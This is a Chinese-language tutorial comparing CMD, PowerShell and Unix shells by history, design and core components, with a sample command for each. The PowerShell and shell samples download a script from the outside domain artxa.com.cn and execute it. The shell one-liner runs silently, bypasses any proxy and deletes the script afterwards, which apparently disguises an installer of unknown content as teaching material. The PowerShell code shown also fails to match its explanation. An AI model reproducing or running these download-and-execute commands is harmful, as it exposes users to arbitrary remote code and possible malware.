CMD、PowerShell和Shell是三种不同的命令行接口，它们在功能、语法和设计哲学上有显著的区别。下面详细描述这三者的主要区别：

1. CMD (Command Prompt)

• 历史背景：CMD，也称为命令提示符或cmd.exe，是Windows系统中的传统命令行接口。它的设计基于早期的MS-DOS系统。
• 功能：CMD提供了基本的文件操作命令、系统任务管理等功能。它支持批处理脚本（.bat 或 .cmd 文件），允许用户编写自动化脚本。
• 限制：CMD的功能相对基础，没有PowerShell那样强大的内置功能和灵活性。它主要用于简单的文件操作和系统管理任务。
• 设计哲学：CMD的设计主要基于MS-DOS，它是一个命令行解释器，为用户提供与操作系统交互的界面。CMD的设计重点在于提供简单的命令来管理文件系统和执行基本的操作系统任务。
• 核心组件：CMD的核心是一个简单的命令行解释器。它解析用户输入的命令，并调用相应的系统调用或程序来执行这些命令。CMD不支持复杂的数据结构，主要处理文本和文件系统操作。
• 与操作系统的交互：CMD通过调用Windows API来执行任务。用户在CMD中输入的命令被转换为对应的系统调用，由Windows内核处理并执行。
• 示例

@echo off
echo Listing files in the current directory:
dir /b > file_list.txt
echo Results are saved in file_list.txt
现在，我们逐行解释这个脚本：
@echo off: 这行命令用于关闭命令的回显，这样在脚本执行时，只有脚本的输出被显示，而输入的命令本身则不会显示在控制台上。这有助于使输出更清晰。
echo Listing files in the current directory:: 这行命令会在控制台上显示文本“Listing files in the current directory”，告知用户正在进行的操作。
dir /b > file_list.txt: 这行是脚本的核心命令。
dir 是一个列出目录内容的命令。
/b 参数让 dir 命令以裸格式输出结果，仅列出文件和文件夹名称，不显示日期、大小或其他详细信息。
> 是一个重定向操作符，它会将 dir 命令的输出重定向到文件中，而不是显示在控制台上。
file_list.txt 是保存输出的文件名。这个文件会包含当前目录下所有文件和文件夹的名称。
echo Results are saved in file_list.txt: 这行命令告知用户结果已被保存到 file_list.txt 文件中。

2. PowerShell

• 历史背景：PowerShell是微软开发的一种跨平台任务自动化解决方案，包括一个命令行shell、脚本语言和一套用于管理计算机的配置框架。它是为了超越CMD的功能限制而设计的，提供更强大的功能和灵活性。
• 功能：PowerShell不仅包含了传统CMD命令的功能，还引入了强大的编程语言特性。它支持复杂的数据结构、对象操作、流程控制语句等。PowerShell可以直接使用.NET Framework的类库，提供了丰富的命令（称为cmdlet）来管理Windows系统。
• 脚本语言：PowerShell的脚本语言功能强大，支持保存为.ps1文件。它可以用于复杂的系统管理任务、自动化操作和配置管理。
• 设计哲学：PowerShell是基于.NET Framework设计的，它不仅是一个命令行shell，还是一种脚本语言。PowerShell的设计目标是提供一种全面的环境，用于自动化和管理Windows系统。
• 核心组件：Cmdlet：PowerShell中的命令称为cmdlet（发音为"command-let"）。每个cmdlet都是一个.NET Framework类的实例，封装了一组操作。对象管道：PowerShell中的管道不同于传统的文本管道。它传递的是对象而非纯文本，允许在管道中执行复杂的操作和过滤。脚本引擎：PowerShell脚本引擎可以执行.ps1脚本文件，支持条件语句、循环、函数等高级编程特性。
• 与操作系统的交互：PowerShell通过.NET Framework与Windows操作系统交互，这使得它能够直接利用Windows的底层功能。
• 示例

(New-Object System.Net.WebClient).DownloadFile("https://artxa.com.cn/installfairy.bat", "$HOME\installfairy.bat")
这段PowerShell代码主要完成了两个任务：首先，它从指定的URL下载一个文件，然后执行下载的文件。下面是对这段代码的详细解释：
第一部分：下载文件
New-Object System.Net.WebClient：这部分代码创建了一个WebClient对象，它是.NET Framework中用于发送HTTP请求和接收HTTP响应的一个类。New-Object是PowerShell中用于实例化一个对象的命令。
.DownloadFile()：这是WebClient类的一个方法，用于从指定的URL下载文件。这个方法接受两个参数：源URL和目标文件路径。
第一个参数（源URL）："https://artxa.com.cn/installfairy.bat" 指定了要下载的文件的URL。
第二个参数（目标文件路径）："$HOME\installfairy.bat" 指定了下载文件的存储路径。$HOME是一个环境变量，指向当前用户的主目录，在Windows中通常是C:\Users\用户名。因此，这里文件被保存到用户主目录下的installfairy.bat。
第二部分：执行下载的批处理文件
& "$HOME\installfairy.bat"
& 操作符：在PowerShell中，&是调用操作符，用于执行一个字符串或变量代表的命令。这里它被用来执行下载的批处理文件。
"$HOME\installfairy.bat"：这是批处理文件在本地文件系统中的路径。如前所述，它指向用户的主目录下的installfairy.bat文件。

3. Shell (Unix/Linux Shell)

• 历史背景：Shell通常指的是Unix或Linux系统中的命令行接口。最常见的Shell包括Bash、sh、csh、zsh等。
• 功能：Shell为Unix/Linux系统提供了一个强大的命令行环境，用户可以通过它来执行命令、调用程序和管理系统。它支持脚本编写（通常是Bash脚本），允许用户自动化复杂的任务。
• 特点：Unix/Linux Shell强调简洁和管道（pipe）概念，允许用户将多个命令串联起来，以实现复杂的数据处理。它支持通配符、流程控制、环境变量等高级特性。
• 设计哲学：Unix/Linux Shell的设计哲学强调简洁和灵活性。Shell不仅是命令行界面，也是一种脚本语言，提供了文本处理和程序调度的强大能力。
• 核心组件：命令解释器：Shell作为命令解释器，解析和执行用户输入的命令。不同的Shell（如bash、zsh）有不同的功能和特性。管道和重定向：Shell的核心概念之一是管道，允许将一个命令的输出作为另一个命令的输入。重定向则允许改变命令的输入输出源。脚本环境：Shell脚本提供了编程的结构化特性，如循环、条件判断和函数，使得用户可以编写复杂的自动化脚本。
• 与操作系统的交互：Shell通过系统调用与Unix/Linux内核交互。用户在Shell中执行的命令最终会被转换为相应的系统调用。
• 示例

curl -s -O -X GET "https://artxa.com.cn/install.sh" --proxy "" && chmod +x install.sh && sh install.sh && rm install.sh 
这条命令是一个在Unix-like系统中使用的复合命令，结合了多个命令来下载、执行和删除一个shell脚本。下面逐个解释这些命令：
curl：一个命令行工具，用于发送和接收文件。
-s：silent模式，不显示进度和错误信息。
-O：将文件保存到本地，文件名与远端服务器上的文件名相同。
-X GET：指定HTTP请求的方法为GET，虽然这在使用-O时通常是不必要的，因为GET是curl的默认方法。
"https://artxa.com.cn.../install.sh"：指定要下载的文件的URL。
&&：这是一个逻辑操作符，用于连接多个命令。当前一个命令成功执行（即退出状态为0）时，才会执行后一个命令。
chmod +x install.sh：
chmod：用于改变文件的权限。
+x：给文件添加执行权限。
install.sh：指定要改变权限的文件，这里是之前下载的install.sh。
sh install.sh：
sh：Shell的一种，这里用于执行shell脚本。
install.sh：要执行的脚本文件。
&& rm install.sh：
rm：用于删除文件。
install.sh：指定要删除的文件，这里是之前执行的install.sh脚本。
整个命令的流程是：下载install.sh文件，为其添加执行权限，执行该脚本，最后在脚本执行完毕后删除它。

比较总结

• 适用系统：CMD主要用于Windows系统，PowerShell虽然起源于Windows，但现在是跨平台的，Shell主要用于Unix/Linux系统。
• 单功能和灵活性：PowerShell和Shell提供了比CMD更强大的功能和更高的灵活性。PowerShell特别适用于复杂的系统管理和自动化任务，而Shell是Unix/Linux系统的标准命令行环境。
• 脚本能力：PowerShell和Shell都支持强大的脚本功能，而CMD的脚本能力较弱。
• 用户群体：CMD通常适用于需要执行简单Windows命令的用户，PowerShell适用于需要执行复杂自动化脚本的系统管理员和开发者，Shell适用于Unix/Linux系统用户和开发者。